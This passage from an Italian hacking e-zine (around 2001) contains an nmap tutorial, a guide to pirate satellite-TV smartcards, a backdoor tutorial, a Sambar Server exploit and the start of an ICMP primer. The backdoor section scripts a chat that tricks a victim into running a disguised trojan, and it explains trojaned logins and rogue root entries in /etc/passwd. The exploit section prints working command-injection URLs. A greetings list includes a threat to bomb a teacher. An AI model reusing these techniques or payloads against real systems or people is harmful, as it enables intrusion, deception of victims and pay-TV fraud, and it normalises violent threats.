molto bene con tutti i sistemi operativi ad eccezione di MacOS 8 (che sembra troncarlo). Tra le porte attive, ne esiste qualcuna che esegue servizi come root? Ovviamente alcuni servizi lo richiedono, ma molti no; se il server web su questo computer e' in esecuzione come root, sara' sicuramente necessario fare le proprie rimostranze. Utilizzate l'indicatore -I in modo tale che nmap possa interrogare il daemon di ident della destinazione, che ha come unico scopo quello di dire quale utente possiede ogni servizio di ascolto. Possiamo ridurre al minimo la possibilita' che una scansione troppo aggressiva sovraccarichi il sistema di destinazione o la rete? Certo. L 'indicatore ci consente di indicare una modalita' di temporizzazione, le opzioni sono Paranoid, Sneaky, Polite, Normal, Aggressive and Insane, aumentando il grado di ostilita' della rete (basato sul modo in cui gli nmap lunghi attendono tra i pacchetti e se invia i pacchetti in modo seriale o in batch). -T Polite e' una buona scelta se volete andare facilmente alla destinazione e/o alla rete. Come possiamo effettuare una scansione veloce che controlli i probabili servizi ma non tutte le porte privilegiate? L' indicatore -p dice a nmap di effettuare la scansione solo sulle porte elencate in nmap-services. In questo modo, evitiamo di effettuare la scansione su porte che probabilmente non daranno risultati interessanti. Infine esiste un modo facile per salvare le prove su un file di testo? Digitando -oN filename dice a nmap di scrivere i risultati su un file di testo. Se vogliamo che nmap utilizzi HaXOr Sp3ll1ng, possiamo utilizzare invece -oS filename ("S" indica "Script-Kid-die-Talk" e non e' una battuta: e' vero, strano ma vero :). Nel Listato 4, vediamo che il server non autorizzato sta accettando le connessioni anche per Secure Shell, Telnet, HTTP/SSL, LPD, X e nessus, che consente di fare un passo avanti e sondare i punti deboli di tutte quelle porte di ascolto che nmap ha trovato. -=]Listati citati nel testo: Listato 1: [root@darkstar /root]# nmap 10.123.123.9 Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Interesting ports on (10.123.123.9): (The 1520 ports scanned but not shown below are in state: closed) Port State Service (RPC) 80/tcp open http 139/tcp open netbios-ssn 1432/tcp open blueberry-lm Nmap run completed-1 IP address (1 host up) scanned in 2 seconds Listato 2: [root@darkstar /etc]# nmap -sTUR 10.123.123.9 Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Interesting ports on (10.123.123.9): (The 3075 ports scanned but not shown below are in state: closed) Port State Service (RPC) 80/tcp open http 111/udp open sunrpc (rpcbind V2) 137/udp open netbios -ns 138/udp open netbios -dgm 139/tcp open netbios-ssn 1026/udp open (rpcbind V2) 1432/tcp open blueberry-lm Nmap run completed-1 IP address (1 host up) scanned in 14 seconds Listato 3: [root@darkstar /root]# nmap -sTU -p 1-1024,12345,12346,31336 10.123.123.9 Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Interesting ports on (10.123.123.9): (The 2049 ports scanned but not shown below are in state: closed) Port State Service 80/tcp open http 111/udp open sunrpc 137/udp open netbios -ns 138/udp open netbios -dgm 139/tcp open netbios-ssn Nmap run completed-1 IP address (1 host up) scanned in 7 seconds Listato 4: [root@darkstar]# nmap -sTUR -OIF -oN lamer.txt 1.12.123.4 Starting nmap V. 2.53 by fyodor@insecure.org (www.insecure.org/nmap/) Interesting ports on bookoosvr (1.12.123.4): (The 2153 ports scanned but not shown below are in state: closed) Port State Service (RPC) 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 80/tcp open http 111/tcp open sunrpc (rpcbind V2) 111/udp open sunrpc (rpcbind V2) 113/tcp open auth 443/tcp open https 515/tcp open printer 587/tcp open submission 999/udp open applix 1024/tcp open kdm (status V1) 1024/udp open (RPC (Unknown Prog #)) 1025/udp open blackjack (status V1) 1241/tcp open msg 3001/tcp open nessud 6000/tcp open X11 TCP Sequence Prediction: Class=random positive increments Difficulty=613547 (Good Luck!) Remote operating system guess: Linux 2.1.122 - 2.2.14 Nmap run completed-1 IP address (1 host up) scanned in 959 seconds -=]Thanks to: I miei amici, tutta la mia crew, tu che leggi e quello che ti ha dato il txt, le fiche di lume e dintorni e i lameri, perche' senza di loro di chi si riderebbe? :) ah dimenticavo... tutti quelli che visiteranno il mio sito :) (http://www.pex3.com/) -=]Sukx to: I prof., i buttafuori, gli infamoni, quelli che mi querano quando sono away (capitelo dal nick: pex3-away significa che non ci sono o mi sto' facendo i caxxacci miei :), i [N]1cKs_ScR1tT1*{S}tR4N!^_e/o MiXeD CaSe :P quelli che mi kikkano, bannano senza motivo, gli ircop che si incaxxano quando li tempesto di domande :) quelli che mi domandano di dargli le shell che mi sono "procurato" in maniera piu' o meno legittima :P e poi... basta spero ;) -=]Concludendo: Devo dire che mi sono dato veramente da fare per questo tutorial, prima studiando, documentandomi e testando, poi scrivendo questo articolo e in fine cercando di distribuirlo in rete, dandolo a conoscenti e amici, webmaster di siti piu' o meno affermati ecc... ma ne sono anche stato gratificato: mi sono giunti molti feed-back con consigli, materiale e link utili ad implementazioni future del tutorial, sottolineazione di parti mancanti o affrontate alla leggera, forse perche' considerate "troppo basilari" per essere affrontate ecc... e molte, ma molte altre e-mail, cosi' ho deciso di scrivere questa versione 1.2 che si propone come una revisione della prima versione (non numerata, ma equivalente ad una 1.1). E' stata adattata ad una visualizzazione ottimale a partire da una risoluzione 800x600 in modo da essere piu' scorrevole nella lettura. Aspettatevi altri miei tutorial in futuro... ** ** ** * ** ** * * ** ** * ** ** ****** ****** ** ** ****** ** ** ** ** **** ** ****** **** ** **** *** *** **** *** ** ** ****** ** ** ****** ** ** +------------------+ ** ** * |Have Presented... | ** ** * * +------------------+ ** ** * http://www.pex3.com/ ** _______________________________________ | | | Tutorial About: Scanning & Nmap usage | | 1.2 | |_______________________________________| ------------------------------------*END*-------------------------------------- -------------------------------------[8]--------------------------------------- ------------------------------[Capitanmidnight]-------------------------------- -----------------------[Varie cards "hacksat x newbie"]------------------------ C***S Ciao a tutti dato che ho ricevuto tante richieste in merito mi son deciso a scrivere questo breve doc che si rivolge a tutti i newsbies e che tratta l'argomento delle varie c***s. Prima di iniziare saluto la crew di cui faccio parte "NoFlyZone crew" e tutti gli amici di oltrelinux sperando che assieme si possano fare grandi passi avanti...ehmm già, in dietro sarebbe triste....:) Nota bene: (mi annoiavo a scrivere sempre disclaimer...) Usate queste info a scopo di studio non per altri motivi che potrebbero farvi incorrere in rogne con la legge....ho scritto farvi perchè di quelche ne fate sarà solo vostra responsabilità e non mia okj? ;) 1) Ma a che servono queste maledette c***S? Sarò semplice più che posso in modo che anche un primato dalla coda prensile e ditone opponibile riesca a cavarci qualcosa da quel che scrivo. Come ben sappiamo esistono delle emitt... **levisive che criptano i loro canali in modo che solo gli abbonati regolari (o quasi) possano usufruire di questo servizio.Immaginatevi esattamente come i programmi che scaricate da internet che per farli funzionare dovete inserire il codice che avete ottenuto pagando una regolare registrazione (un saluto a tutti i crackoni é dovuto a questo punto) Ecco la nostra c*** praticamente contiene questi codici che permettono di far andare i vari chan (non irc ;) ) in chiaro. 2)Sistemi di criptazione Ne esistono diversi il principio del funzionamento é lo stesso per tutti volete dei nomi? s*ca,ir**to.vi**ess,c**ax.... 3) Funzionamento Con la parabola captiamo il segnale da un satellite che puo essere uccello bollente a**ra o moltissimi altr ancora il segnale viene trasmesso al ricevitore che lo elabora ,i segnali in chiaro li vediamo subito mentre quelli criptati richiedono dei codici per poter essere visti Ora i codici stanno sulla card, la nostra bella c*m nel ricevitore domanda i codici se la c**d glieli passa giusti il chan va in chiaro altrimenti nemmeno minacciando di morte il vostro decoder otterrete qualcosa 4) La ca*d Di ca*d ne esistono moltissime qui trattero quelle piu conosciute,anche se hanno forma e colore diverso svolgono sempre la stessa funzione: Conservare i codici e comunicare con la c*m Come vediamo gli scopi sono due e anche sulla card troviamo due parti distinte: L eep** ossia la memoria dove i nostri codici o detti anche keyz stanno immagazzinati e il p*c che prende dall epr** le risposte da dare alla cam e permette anche a noi smanettoni di comunicare con l eeprom stessa Di pic e eeprom ne esistono modelli diversi ma la loro funzione resta questa Leggende metropolitane: Vorrei sfatarne almeno una che dice ci siano delle card che non vengono res***ate ..... la card contiene dei codici i fil** che vi vengono caricati sopra quindi non puo dipendere dalla card ma solo dai filez se dura o meno la povera card mica puo inventarsi qualcosa.....(forse una cé di card che si comporta così....ve la danno con un contratto di abbonamento) 5) tipi di ca*ds: S**rt Ca*d: é quella card carina che ottenete dietro pagamento di un regolare abbonamento e vi permette la domenica di guardare la vostra squadra del cuore dietro pagamento di poche migliaia di lire senza che rischiate di vedervi arrivare un sifone del cesso in testa da uno degli anelli superiori G*ld ca*d: assomiglia molto alla s**rt contiene il pic 16f84 e eeprom 24c16 i due non sono qui distinguibili P*c-K*rte: Carta con pic 16f84 e eeprom 24c16 é compatibile alla wafer i due sono distinguibili eeprom il piccolo e pic quello grande Se vi piace il fai da te si trovano molte guide al riguardo ;) (ps pero non chiedetele a me che non saprei proprio dove pescarle) Ad*el ca*d Questa ha un chip a*mel con altri indirizzi di memoria e un eeprom 24c16 compatibile con jupit** F*n ca*d AT90S8515 piu eep. 24c64 Una scheda divertente... ha un eeprom piu grande saranno un giorno forse "le carte" dato che se le k**s passeranno da 8 a 16 le altre non avranno abbastanza memoria pf non fatevi prendere dal panico e non fate cadere le azioni delle altre ca*ds mi sentirei in colpa....ogni cosa a suo tempo dice il saggio :) A*R/ yupit** CA*D AT90S2343 (oppure anche AT90S2323) eeprom 24c16 Spero di esservi stato utile un saluto a presto Capitanmidnight ------------------------------------*END*-------------------------------------- -------------------------------------[9]--------------------------------------- ---------------------------------[ Pregtz ]------------------------------------ -------------------------[Come funzionano le backdoor]------------------------- /*\/*\/*\/*\/*\/*\/*\/*\/*\/*\/*\/*\/*\/*\/*\ Autore: P®egzt E-Mail: pregzt@supereva.it Web Site: http://members.xoom.it/pregzt Crew's Web Site: www.noflyzone-crew.cjb.net - Il mio web site NON tratta di hacking! \*/\*/\*/\*/\*/\*/\*/\*/\*/\*/\*/\*/\*/\*/\*/ INDICE: ~~~~~~~ *Disclaimer *Cos'è una backdoor? *Le backdoors per entrare nei computers *Le backdoors per rientrare nei sistemi -Il login troiano -La manomissione del file "passwd" -Altri esempi di backdoors *Saluti --------------------START-------------------- Disclaimer: ~~~~~~~~~~~ Ehh, anche in questo tutoz il disclaimer ci vuole no? Dopo chi gli sente i net-pulotti! Le cose sono sempre le stesse... Lo sapete tutti che io, Pregzt, scrivendo questo tutorial non voglio neanche minimamente incoraggiarvi a mettere in pratica le informazioni che riporterò. I responsabili delle vostre azioni siete voi e non io quindi se vi parano mi dispiace ma non venite a piangere da me perché vi ho avvertito. Scrivo questo tutorial a scopo informativo e informare non è illegale! Ok? Bene! Possiamo anche cominciare... Cos'è una backdoor? ~~~~~~~~~~~~~~~~~~~ I più vispi lo sapranno già cos'è, ma c'è sempre chi non lo sa e siccome sono quì per insegnare ve lo dico volentieri. Poi, io mica scrivo per i più vispi... Un hacker non ha niente da imparare dai miei tutorials (per adesso ;-), mica sono un hacker io, sarò si e no un miliardesimo di hacker (sempre per adesso ;) quindi stateci attenti con la parola "hacker" quando vi riferite a me! Tornando sull'argomento, le backdoors sono dei programmi creati per permettere l'accesso ad un sistema. Questa è una descrizione ultrasintetica che funge solo da introduzione, anche perché ci sono diversi tipi di backdoors ad esempio quelle che servono ad accedere in un computer remoto e quelle che servono per accedere ad un sistema precedentemente fottuto ;) Le backdoors per entrare nei computers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Le backdoors per i computers sono dei programmini che permettono all'hacker (o lamah di merda) di "entrare" in un altro computer. Detto così sembra che questa misteriosa backdoor sia qualcosa di magico ... Se ne trovano molte in giro per la rete... chi non ha mai sentito parlare di roba come Netbus, Back Orifice o Sub Seven?! Se ne volete qualcuna le trovate in migliaia di siti, ma è sempre meglio sapersele anche costruire da se. E non lo dico solo perché gli antivirus sono sempre più aggiornati e quelle in rete le sgamano quasi tutte, ma lo dico anche perché è sempre meglio capire come funziona un programma prima di usarlo. I lamers usano i programmi senza neanche interessarsi minimamente a come funzionino. E noi mica siamo lamers, se sei un lamer smetti subito di leggere questo tutorial e vai su "www.vaffanculo.com", non so se esiste, ma a fare in culo vacci lo stesso ;) Dove eravamo rimasti? Ahh, il funzionamento delle backdoors per i computers... Beh, non è molto semplice da preparare (almeno per me) ma non è difficile capire come funziona: Se cercate informazioni precise andate su "www.noflyzone-crew.cjb.net" nella sezione "Tutorials" e leggete i tre tutorial di Crashes che spiegano dettagliatamente come preparare una backdoor in Java (che insieme al Visual BASIC è il linguaggio più usato per tali fini). Ma visto che ci sto qualche nozioncina posso darvela anch'io: La backdoor si divide in due programmi: il primo programma, che chiameremo A, lo si deve inviare alla vittima dopo aver trovato un modo per farglielo eseguire mentre il secondo, che chiamaremo B, rimane sul vostro computer e viene usato per comunicare con il programma A che avete inviato sul computer della vittima. Cominciamo col modo per far si che il programma A venga eseguito sul computer della vittima. I modi sono tanti e lavorando di fantasia se ne possono scoprire sempre di nuovi, facendo qualche esempio: Possiamo inviarlo camuffato alla vittima convincendolo ad eseguirlo, dopo spiagherò come... Oppure, per esempio, possiamo copiarlo nella cartella "Esecuzione Automatica" di una vittima che ha il Netbis attivato, ma questa è una tecnica complessa che richiederebbe un tutorial a se... Magari un giorno lo scriverò ma per adesso se volete informazioni contattatemi a "pregzt@supereva.it" Spiego brevemente come ingannare la vittima col primo metodo... Le cazzate da dire sono storiche, una che non mi ha tradito mai è questa: P = Pregzt V = Vittima P: Ciao V: Ciao ---Poi si attacca il discorso-- P: Se vuoi ti invio delle mie foto ok? V: Ok invia pure P: Ha l'estensione .com perché è una sequenza di mie foto che ho creato io stesso in C++ V: Ahh, ok P: Ti piacciono? V: Non succede nente quando le apro, non mi avrai mica mandato un virus? P: No, no tranquillo, ora controllo aspetta... P: Sto aprendo sul mio computer lo stesso file che ti ho mandato [Cazzata ovviamente] e mi funziona benissimo... P: Ahh aspetta! Ma che sistema operativo usi? V: Windows 98 P: Ahh, ecco perché, il mio programma funziona solo sotto Windows NT o ME, mi dispiace :( P: Ti invio una foto normale... P: Però mi dispiace perché è davvero molto bello il mio programmino V: Ok, stavolta però niente estenzioni .com o .exe va bene? P: Ok --Gli si invia qualche foto normale e ci si continua a chiacchirare tranquillamente mentre navigate sul suo computer, ehehe-- Ahh, quasi dimenticavo: il file della backdoor non chiamatelo backdoor.com!! Dategli un nome come fotografie.com o simili! Mi raccomando, usate le mie tecniche solo contro pedofili, lamers o qualcuno che vi sta in culo o magari per reperire informazioni utili. NON fatelo per divertimento se no siete lamers di merda!!! Tornando al funzionamento della backdoor... Il programma A una volta eseguito sul computer della vittima resta invisibile e si mette in listening su una determinata porta (ad esempio, se non ricordo male, il Netbus usa la 1234, il Sub Seven la 27374, ecc), dico "determinata" perché la impostiamo noi al momento della programmazione e la backdoor lavorerà sempre e solo su quella. A questo punto entra in gioco il programma B, che si connette al programma A e gli invia tutti gli input che voi inserite dal vostro computer, facendoli eseguire sul computer vittima. Ovviamente c'è bisogno di una codifica... faccio un semplice esempio: Programmiamo il programma A in modo che formatti l'Hard Disk della vittima quando riceve dal programma B la stringa "formatta". Poi creiamo il programma B in modo che contenga un pulsante con scritto sopra "Formatta l'HD della vittima" che quando viene premuto invii al programma A la stringa "formatta". Ecco tutto. Questo è un esempio molto semplice ma che rende perfettamente l'idea di codifica, perché se invio al programma A una stringa diversa da "formatta" non riconoscerà mai il comando. A questo punto sorgono senza dubbio delle domande come: D= Domanda R= Risposta D: Ma come faccio a sapere quando la vittima è connessa? R: Se programmate la backdoor in modo che operi sulla porta XXX, la vittima avrà la porta XXX aperta, dove c'è la backdoor in ascolto. Quindi basterà prendere un Port Scanner (se ne trovano moltissimi in rete, io uso soprattutto SuperScan2.06, ma ne ho molti altri) e impostarlo in modo che esegua uno scan solo sulla porta XXX. A questo punto resta da impostare al Port Scanner il gruppo di indirizzi IP su cui effettuare lo scanning. Fare uno scanning ad una sola porta è un'operazione velocissima, ma farla a tutti gli IP del creato è una cosa impossibile!!!! Quindi si deve agire così... Tutti sanno che il provider assagna ad ogni utente un indirizzo IP diverso ogni volta che si collega, ma non tutti sanno che gli IP dello stesso provider hanno dei campi univoci, cioè sono simili. Ad esempio libero.it assegna sempre degli indirizzi IP del tipo 151.2x.xx.xxx dove solo i numeri X variano, tin.it ha come compi univoci 216.212.xxx.xxx (se non ricordo male) e così via. Quindi se sapete che la vostra vittima si collega con tin.it dovete scannerizzare solo gli indirizzi che vanno da 212.216.000.000 a 216.212.255.255 (ricordache che i numeri dell'IP variano da 0 a 255 non da 0 a 999!!!) già è diventata una cosa fattibile in non molto tempo! D: Ma invece del programma B posso usare Telnet? R: Certo!!! Il nostro caro Telnet si può usare tranquillamente, l'unico problema è che per usarlo dovete conoscere la codifica... Cioè dovete sapere che per formattare l'Hard Disk della vittima dovete inviare al server la stringa "formatta" e non altre! Il programma B serve solamente per permettere all'hacker di usare la backdoor anche senza conoscere la codifica fornendo un'interfaccia semplice. Esattamente come succede per i client di posta elettronica, tutte le persone (tranne quelli proprio stupidi) li possono usare anche senza conoscere i veri comandi che servono per usare il demone ftpd o pop3d, cioè i programmi per la posta elettronica in listening sulle porte dei server. Non posso spiegare tutto qui, se qualcuno vuole una spiegazione più dettagliata di questo argomento può contattarmi all'indirizzo "pregzt@supereva.it". Credo di aver finito con le backdoors sui per entrare nei computers degli altri quindi passo ad altro... Le backdoors per rientrare nei sistemi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Perché ho detto RI-entrare nei sistemi? Perché la backdoor su un sistema la installate dopo averlo bucato in qualche modo e vi servirà per rientrarci senza rifarsi tutta la bardella ripetendo ogni volta da capo tutto l'hack. Come si buca un sistema? Ehehe, quì non basterebbe un tutorial, anzi forse non basterebbe neanche un libro, quindi vi dirò solo che per "bucare" un sistema intendo che dovete ottenere i permessi root sul sistema-vittima. La backdoor vi permetterà di rientrare nel sistema diventando utente root da subito, inoltre ridurrà moltissimo i rischi di essere parati! Adesso vado ad esaminare qualche tipo di backdoor adatte a questo fine: -Il login troiano: Questa è una delle tecniche più usate e più convenienti, consiste nel sostituire il programma login del sistema-vittima con un login troiano creato da noi. Non sapete cosè un login! Ok, ve lo dico... tanto siamo tutti quì per imparare: Un login è praticamente un programma che si occupa di controllare l'ID e la Password di ogni utente che si collega. Capito? Noooooo?! Ok, l'indirizzo per contattarmi lo sapete... Tornando a noi... bucato il sistema (ablativo assuluto ;) in qualita di utente root dovete sostituire il programma standard unix login con uno programmato da voi, uguale in tutto al programma originale, ma con dentro alcune righe di codice che controllano l'eventuale inserimento di una password particolare (conosciuta solo da voi che avete programmato il login troiano) che nel momento in cui viene inserita funzioni da password universale, permettondivi di accedere al sistema con qualsiasi account... root compreso!!! Questo sistema è uno dei più usati perché usandolo le possibilità di essere sgamati sono bassissime, infatti usando il login troiano al sistema "sembrerà" che voi siete entrati legalmente e che siete il vero utente root, quindi i files di log (quei bastardissimi files che loggano tutte le nostre azioni) vengono disattivati e non c'è alcun bisogno di manometterli come se entriamo senza backdoor! In questo modo si è quasi invisibili, dico "quasi" perché l'anonimità totale è impossibile da raggiungere, ma ci si può andare vicino ;) Ovviamente però il vostro login troiano deve essere ceato in modo che abbia la stessa grandezza di quello originale, se no il sysadmin (cioè il "guardiano" del sistema) sgama subito! -La manomissione del file "passwd" Nei sistemi Unix (o Linux) il file delle password di tutti gli utenti si trova nella directory "/etc" e si chiama "passwd" (il percorso sarà quindi "/etc/passwd"). A cosa serve questo file? Come a cosa serve!! E' il file, secondo me, più interessante di tutto il sistema! E' il primo file che preleva un hacker che vuole bucare il sistema! Questo perché in esso sono contenuti l'username e la password di tutti gli utenti (anche root)! Il file /etc/passwd è pieno di righe che seguono questo schema: Username:Password criptata:Numero dell'utente:Numero del gruppo:Nome e cognome:Directory dell' utente:Shell utilizzabile dall'utente Alcuni esempi: Pregzt:5bZkdIp5Vdq2:765:15:Ezech Pregzt:/home/utente:/bin/ksh LordVicio:7dfAm9odGhk6:871:15:Lord Vicio:/home/utente:/bin/ksh Crashes:bRe4ud6pl8cx:913:15:Crash Es:/home/utente:/bin/ksh Ruspa:hy3nGf5dS6li:1003:15:Ivan Ba:/home/utente:/bin/ksh Puzzone:hAg8iz0psEl1:1036:15:Puzzo Tanto:/home/utente:/ [Siamo tutti delo stesso gruppo e utilizziamo la stessa shell (tranne Puzzone che non utilizza nessuna shell, infatti quando un campo è disabilitato compare una slash "/" oppure niente ::) e la stessa directory utente] Una volta bucato il sistema, essendo root, dovete modificare il file /etc/passwd e aggiungerci una riga dove inserirete un vostro username, password, ecc, e vi assegnate i permessi root mettendovi a disposizione la stessa shell del vero utente root! Sia chiaro che questa è una backdoor molto "rozza" perché il sysadmin può sgamare subito la vostra presenza dando un'occhiata al file "passwd", e i sysadmin ce la danno spesso, a meno che non ne beccate uno proprio coglione!!! ;) Quindi consiglio di usare questo tipo di backdoor solo provvisoriamente. -Altri esempi di backdoors Ci sono molti altri metodi per installare una backdoor su un sistema, alcuni esempi: - Si può installare in qualche directory a voi (utenti normali) accessibile un programma cgi-bin da utilizzare lanciandolo dal web per fargli eseguire tutti i comandi che vogliamo. - Si può configurare una data porta in modo che quando vi telnettate ad essa scriva sul file /etc/passwd la riga dercritta sopra che poi andrete a ricancellare prima di abbandonare il sistema. - Si può copiare la shell utilizzata dal root in una directory sperduta a voi accessibile da utenti normali, dopo averle cambiato i permessi col comando chmod (lo so che complico le cose con tutti questi comandi di linux, però sono indispensabili, se volete procedere con l'hacking dovete installarvi linux ed imparare i comandi perché il 90% dei server usano sistemi Unix o Linux!). Insomma, con la fantasia se ne possono creare infiniti altri! -Ahh, quasi dimenticavo, c'è la tattica più rozza di tutte: Dovete sapere che quasi tutti i progettatori dei sistemi hanno una backdoor presente sui sistemi che creano. Quindi potete rintracciare il progettatore del sistema che volete bucare, rapirlo e fargli sputare come si usa la sua backdoor a suon di bastonate e calci sulle ®®. Hahaha! Sto scherzando ovviamente!! Vogliamo diventare hackers, mica talebani di merda!!!!! Saluti: ~~~~~~~ Un gran saluto a: Tutti quelli di #NoFlyZone ma specialmente a []Lord[V]icio[]: sei un grande! Grazie perché mi hai fatto entrare in crew e perché quando mi serve aiuto tu ci sei sempre :) Il poker del potere: Bablo (Bicchio in versione marocco), Bob, Piero e... l'altro sono io ;) Ivan la ruspa che vorrebbe dar fuoco col NAPALM ai puzzoni! Fuck to: La scuola!!! ma specialmente: Quella gran troia della mia prof di filosofia che continua a mettere votacci a tutti... ma poi non venisse a piangere da me quando mi finirà la pazienza, ehehe! So dove abita e conosco la sua macchina ma soprattutto so preparare molti esplosivi alcuni dei quali sono anche potenti!!! Hahaha >:-) I Teatini (tanto lo so che state con Bin) La Zia (ihihihi!!) Quel coione del rapp. d'istituto che mi sta tanto sul culo Quella cagata putrida schifosa di Vasco Rossi. Muori! Muori! Muori! Bin Laden, Saddam Hussein, Maometto, Alibabà, Ababubù e tutti gli altri Ahh, ragazzi, non dimenticate che Venerdì sera alle 21 c'è Matrix!!! Non ve lo perdete! Ciauzzzzzzzzzzzzzzzzz!!!!!! P®egzt ------------------------------------*END*-------------------------------------- ------------------------------------[10]---------------------------------------- -----------------------------[ []Lord[V]icio[] ]-------------------------------- ---------------------[Sambar Server Batch CGI Vulnerability]-------------------- +--------------------------------------+ | Vulnerabile | | - Sambar Server 4.2beta 7 and older | | - Microsoft Windows 2000 | | - Microsoft Windows NT 4.0 | +--------------------------------------+ Il server Sambar Web/FTP/Proxy per Windows NT e 2000 include la capacità di usare programmi DOS-STILE batch come cgi-scripts. Tutto il file batch usato dal server nell'indice dello cgi-bin può essere usato da un newbie in remoto per fare funzionare qualunque programma valido della command-line con i privilegi dell' amministratore. Ciò fornisce la capacità di leggere, modificare, creare o cancellare tutto l' archivio o indice sul sistema, la capacità di creare, cancellare o modificare i clienti dell'utente,ecc. Anche se l' utente non ha permesso o non ha creato alcuni file batch, il software spedisce con due di default, hello.bat ed echo.bat. ExPloiT ----------------------------------------------------------------------- http://------/cgi-bin/hello.bat?&dir+c:or | http://------/cgi-bin/echo.bat?&dir+c:\ | ----------------------------------------------------------------------- Mi raccomando nn fate i lamazzi ......... cmq nn sono responsabile di qualke vostra cavolata .. questo testo è semplicemente a scopo informativo. ---------------------------------------------------------------------------- SALUTI:alla crew,al chan #noflyzone,ai chan #winadmin #hack .... in particolare a LoNeWoLfDeN,Crashes,Zuccherina83,Bigalex,CityHunter .. FUCK:tutti i lamah,alla mia ex,a lordsabotatore al re dei lamah alexmessomalex ed a tutta quelli ke fanno le stanze hack in c6 ihhihi www.vicio84.3000.it www.noflyzone-crew.cjb.net dove trovarmi: c6: vicio84 o lordvicio irc: irc.azzurra.it 6667 #NoFlyZone nick []LoRd[V]icio[] _______________________________________ [ ] [ Copyright (C) 2001 ] [ ] [ []LoRd[V]icio[] -lordvicio@hotmail.com ] [ _______________________________________ ] ================================================================================ -------------------------------------------------------------------------------- ----------------------------------[THEORY]-------------------------------------- -------------------------------------------------------------------------------- ================================================================================ ------------------------------------[11]---------------------------------------- ---------------------------------[ [V]lad ]------------------------------------- -----------------------------------[ICMP]--------------------------------------- Ecco qua.il mio tutorial di ammissione :)= quello che ti appresti a leggere è un tutorial che spera di aiutarvi a schiarire le idee sul protocollo ICMP.... bando alle ciance ed iniziamo!... INTERNET CONTROL MESSAGE PROTOCOL TUTORIAL by [V]lad (e chi sennò?) Piccola indroduzione: Il protocollo internet(IP) è usato per il servizio di host-to-host in un a sistema di reti interconnesse. I dispositivi di connessione sono chiamati Gateways. Questi gateways, che comunicano fra loro, talvolta comunicheranno con l'host sorgente, per esempio, per riportare alcuni errori. Proprio per questo scopo viene usato il nostro amato Internet Control Message Protocol(d'ora in poi ICMP)che è una parte integra all'IP e deve essere implementato in ogni "modulo" IP. Un messaggio ICMP è utilizzato in molte occasioni: per esempio, quando un datagramma non può raggiungere la destinazione, quando un gateway non ha la quantità di buffer necessario per spedire dei dati(ahahahah che gateway sfigaz), oppure quando il gateway può dirigere l'host per mandare del traffico di dati. Lo scopo di questi messaggi è di creare "risposte" riguardanti possibili problemi che possono insorgere nella comunicazione. Dovete però sapere che niente può dare la garanzia che un datagram sia trasportato correttamente o che un messaggio di controllo sia ritornato. Alcuni dati, infatti, potrebbere non essere inviati e voi potreste non ricevere alcun messaggio di errore. E allora è una fregatura! direte voi ed invece NO o meglio... non proprio! I messaggi ICMP normalmente riportano errori nel processo dei dati. Per evitare l'infinito regredire dei messaggi, nessun messaggio ICMP può riguardare l'ICMP stesso altrimenti si creerebbero code a non finire: infatti i messaggi ICMP riguardano solo gli errori nel maneggiamento del frammento zero dei dati frammentati. Uff... l'introduzione è finita e quindi ci dedichiamo al formato dei messaggi! I messaggi ICMP sono mandati usando l'intestazione di base dell'IP ed Il primo byte del datagram ha sempre un campo di tipo ICMP; il valore di questo campo determina il formato dei dati restanti. Ogni campo chiamato "unused" è riserveto per la prossima estensione e deve essere zero quando è mandato, e il ricevente non dovrebbe usare questo campo (tranne che per includerlo nel checksum che vedremo fra non molto). I valori dei campi di intestazione sono i seguenti(abbiate pazienza per le tabelle non sono il mio forte) +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ |Versione| 4 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |IHL| Lunghezza dell'intestazione in 32-bit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Tipo di servizio| 0 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Identificazione| E' usata nella frammentazione | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Tempo di vita| Tempo di vita in secondi | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Protocollo| ICMP = 1 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Intestazione del CheckSum| Per essere porato a termine il controllo questo deve essere zero | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Indirizzo Sorgente| L'indirizzo del gateway o dell'host che compone il messaggio ICMP | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Indirizzo destinatario| L'indirizzo del gateway o dell'host al quale deve essere mandato | +~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~+~-~ 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Tipo | Codice | Checksum | 